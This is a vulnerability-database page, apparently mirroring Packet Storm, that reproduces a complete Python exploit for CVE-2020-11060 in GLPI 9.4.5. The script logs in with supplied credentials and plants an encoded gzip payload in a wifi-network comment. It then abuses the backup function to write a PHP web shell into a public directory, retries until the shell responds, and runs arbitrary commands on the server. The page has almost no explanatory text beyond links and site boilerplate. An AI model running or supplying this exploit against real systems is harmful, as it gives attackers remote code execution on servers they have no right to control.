Lucene search
K

GLPI GZIP(Py3) 9.4.5 Remote Code Execution

🗓️ 10 Oct 2023 00:00:00Reported by Brian Peters, n3radaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 544 Views

GLPI GZIP(Py3) 9.4.5 Remote Code Execution from 08-30-2021 by Brian Peters & n3rad

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GLPI 9.4.5 - Remote Code Execution Exploit
14 Jun 202100:00
zdt
0day.today
GLPI GZIP(Py3) 9.4.5 - Remote Code Execution Exploit
9 Oct 202300:00
zdt
GithubExploit
Exploit for Injection in Glpi-Project Glpi
11 Jun 202114:52
githubexploit
FreeBSD
glpi -- Remote Code Execution (RCE) via the backup functionality
30 Mar 202000:00
freebsd
Circl
CVE-2020-11060
12 May 202014:45
circl
CNVD
Teclib GLPI Injection Vulnerability
14 May 202000:00
cnvd
CVE
CVE-2020-11060
12 May 202019:30
cve
Cvelist
CVE-2020-11060 Remote Code Execution in GLPI
12 May 202019:30
cvelist
Exploit DB
GLPI 9.4.5 - Remote Code Execution (RCE)
14 Jun 202100:00
exploitdb
Exploit DB
GLPI GZIP(Py3) 9.4.5 - RCE
9 Oct 202300:00
exploitdb
Rows per page
`#!/usr/bin/env python3  
  
#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE   
#Date: 08-30-2021  
#Exploit Authors: Brian Peters & n3rada  
#Vendor Homepage: https://glpi-project.org/  
#Software Link: https://github.com/glpi-project/glpi/releases  
#Version: 0.8.5-9.4.5  
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019  
#CVE: 2020-11060  
  
# Built-in imports  
import argparse  
import random  
import re  
import string  
from datetime import datetime  
  
# Third party library imports  
import requests  
from lxml import html  
  
# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt  
PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[[email protected]+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`[email protected].^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[^yv*GCyzGCN^[email protected]:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XE  
  
requests.packages.urllib3.disable_warnings()  
  
  
class GlpiBrowser:  
"""_summary_"""  
  
def __init__(self, url: str, user: str, password: str, platform: str):  
"""  
Initialize the GlpiBrowser with required attributes.  
  
Args:  
url (str): The URL of the target GLPI instance.  
user (str): The username for authentication.  
password (str): The password for authentication.  
platform (str): The platform of the target (either 'windows' or 'unix').  
"""  
self.__url = url  
self.__user = user  
self.__password = password  
  
self.accessible_directory = "pics"  
  
if "win" in platform.lower():  
self.__platform = "windows"  
else:  
self.__platform = "unix"  
  
self.__session = requests.Session()  
self.__session.verify = False  
  
self.__shell_name = None  
  
print(f"[+] {self!s}")  
  
# Dunders  
def __repr__(self) -> str:  
"""Return a machine-readable representation of the browser instance."""  
return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"  
  
def __str__(self) -> str:  
"""Return a human-readable representation of the browser instance."""  
return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."  
  
# Public methods  
def is_alive(self) -> bool:  
"""  
Check if the target GLPI instance is alive and responding.  
  
Returns:  
bool: True if the GLPI instance is up and responding, otherwise False.  
"""  
try:  
self.__session.get(url=self.__url, timeout=3)  
except Exception as error:  
print(f"[-] Impossible to reach the target.")  
print(f"[x] Root cause: {error}")  
return False  
else:  
print(f"[+] Target is up and responding.")  
return True  
  
def login(self) -> bool:  
"""  
Attempt to login to the GLPI instance with provided credentials.  
  
Returns:  
bool: True if login is successful, otherwise False.  
"""  
html_text = self.__session.get(url=self.__url, allow_redirects=True).text  
csrf_token = self.__extract_csrf(html=html_text)  
name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)  
pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)  
  
login_request = self.__session.post(  
url=f"{self.__url}/front/login.php",  
data={  
name_field: self.__user,  
pass_field: self.__password,  
"auth": "local",  
"submit": "Post",  
"_glpi_csrf_token": csrf_token,  
},  
allow_redirects=False,  
)  
  
return login_request.status_code == 302  
  
def create_network(self, datemod: str) -> None:  
"""  
Create a new network with the specified attributes.  
  
Args:  
datemod (str): The timestamp indicating when the network was modified.  
"""  
creation_request = self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": "RCE",  
"mode": "ad-hoc",  
"add": "ADD",  
"_glpi_csrf_token": self.__extract_csrf(  
self.__session.get(f"{self.__url}/front/wifinetwork.php").text  
),  
"_read_date_mod": datemod,  
},  
)  
  
if creation_request.status_code == 302:  
print("[+] Network created")  
  
def wipe_networks(self, padding, datemod):  
"""  
Wipe all networks.  
  
Args:  
padding (str): Padding string for ESSID.  
datemod (str): The timestamp indicating when the network was modified.  
"""  
print("[*] Wiping networks...")  
all_networks_request = self.__session.get(  
f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"  
)  
  
webpage = html.fromstring(all_networks_request.content)  
  
for rawlink in set(  
link  
for link in webpage.xpath("//a/@href")  
if "wifinetwork.form.php?id=" in link  
):  
network_id = rawlink.split("=")[-1]  
print(f"\tDeleting network id: {network_id}")  
  
self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": "RCE" + padding,  
"mode": "ad-hoc",  
"purge": "Delete permanently",  
"id": network_id,  
"_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),  
"_read_date_mod": datemod,  
},  
)  
  
def edit_network(self, padding: str, datemod: str) -> None:  
"""_summary_  
  
options:  
padding (str): _description_  
datemod (str): _description_  
"""  
print("[+] Modifying network")  
for rawlink in set(  
link  
for link in html.fromstring(  
self.__session.get(f"{self.__url}/front/wifinetwork.php").content  
).xpath("//a/@href")  
if "wifinetwork.form.php?id=" in link  
):  
# edit the network name and essid  
self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": f"RCE{padding}",  
"mode": "ad-hoc",  
"update": "Save",  
"id": rawlink.split("=")[-1],  
"_glpi_csrf_token": self.__extract_csrf(  
self.__session.get(  
f"{self.__url}/front/{rawlink.split('/')[-1]}"  
).text  
),  
"_read_date_mod": datemod,  
},  
)  
  
print(f"\tNew ESSID: RCE{padding}")  
  
def create_dump(self, wifi_table_offset: str = None):  
"""  
Initiates a dump request to the server.  
  
Args:  
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.  
  
Note:  
Adjust the offset number to match the table number for wifi_networks.  
This can be found by downloading a SQL dump and running:  
zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks  
"""  
dump_target = f"{self.path}{self.__shell_name}"  
print(f"[*] Dumping the database remotely at: {dump_target}")  
self.__session.get(  
f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"  
)  
  
print(f"[+] File 'dumped', accessible at: {self.shell_path}")  
  
def upload_rce(self, wifi_table_offset: str = None) -> str:  
"""  
Uploads the RCE (Remote Code Execution) shell to the target.  
  
Args:  
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.  
  
Returns:  
str: A status message indicating the outcome of the upload.  
"""  
if not self.login():  
print("[-] Login error")  
return  
  
print(f"[+] User {self.__user!r} is logged in.")  
  
# create timestamp  
datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")  
  
tick = 1  
while True:  
print("-" * 25 + f" trial number {tick} " + "-" * 25)  
  
# create padding for ESSID  
padding = "e" * tick  
  
self.wipe_networks(padding, datemod)  
self.create_network(datemod)  
self.edit_network(padding, datemod)  
  
self.__shell_name = (  
"".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"  
)  
  
print(f"[+] Current shellname: {self.__shell_name}")  
  
self.create_dump(wifi_table_offset)  
if self.__shell_check():  
break  
  
tick += 1  
  
print("-" * 66)  
print(f"[+] RCE found after {tick} trials!")  
  
# Private methods  
def __extract_csrf(self, html: str):  
"""Extract CSRF token from the provided HTML content."""  
return re.search(  
pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html  
).group(1)  
  
def __shell_check(self) -> bool:  
"""Check if the uploaded shell is active and responding correctly."""  
r = self.__session.get(  
url=self.shell_path,  
params={"0": "echo HERE"},  
)  
shell_size = len(r.content)  
print(f"[+] Shell size: {shell_size!s}")  
if shell_size < 50:  
print("[x] Too small, there is a problem with the choosen offset.")  
return False  
  
return b"HERE" in r.content  
  
# Properties  
@property  
def path(self):  
"""With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""  
if "win" in self.__platform.lower():  
return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"  
else:  
return f"/var/www/html/glpi/{self.accessible_directory}/"  
  
@property  
def shell_path(self) -> str:  
"""Generate the complete path to the uploaded shell."""  
return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"  
  
  
def execute(  
url: str,  
command: str,  
timeout: float = None,  
) -> str:  
"""  
Executes a given command on a remote server through a web shell.  
  
This function assumes a web shell has been previously uploaded to the target  
server and sends a request to execute the provided command. It uses a unique  
delimiter ("HoH") to ensure that the command output can be parsed and  
returned without any additional data.  
  
Args:  
url (str): The URL where the web shell is located on the target server.  
command (str): The command to be executed on the target server.  
timeout (float, optional): Maximum time, in seconds, for the request  
to the server. Defaults to None, meaning no timeout.  
  
Returns:  
str: The output of the executed command. Returns None if the URL or  
command is not provided.  
"""  
if url is None or command is None:  
return  
  
command = f"echo HoH&&{command}&&echo HoH"  
  
response = requests.get(  
url=url,  
params={  
"0": command,  
},  
timeout=timeout,  
verify=False,  
)  
  
# Use regex to find the content between "HoH" delimiters  
if match := re.search(  
pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL  
):  
return match.group(1).strip()  
  
  
def main() -> None:  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", help="Target URL.", required=True)  
parser.add_argument("--user", help="Username.", default=None)  
parser.add_argument("--password", help="Password.", default=None)  
parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)  
parser.add_argument(  
"--offset", help="Offset for table wifi_networks.", default=None  
)  
parser.add_argument(  
"--dir",  
help="Accessible directory on the target.",  
default="sound",  
required=False,  
) # "sound" as default directory  
  
parser.add_argument("--command", help="Command to execute via RCE.", default=None)  
  
options = parser.parse_args()  
  
if options.command:  
# We assume the given URL is the shell path if a command is provided.  
  
try:  
response = execute(url=options.url, command=options.command, timeout=5)  
except TimeoutError:  
print(f"[x] Timeout received form target. Maybe your command failed.")  
else:  
print(f"[*] Response received from {options.url!r}:")  
print(response)  
finally:  
return  
  
target = GlpiBrowser(  
options.url,  
user=options.user,  
password=options.password,  
platform=options.platform,  
)  
  
if not target.is_alive():  
return  
  
target.accessible_directory = options.dir  
target.upload_rce(wifi_table_offset=options.offset)  
  
print(  
f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"  
)  
print("[+] Run this tool again with the desired command to inject:")  
print(  
f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"  
)  
  
  
if __name__ == "__main__":  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Oct 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.4 - 8.8
CVSS 29
EPSS0.07013
544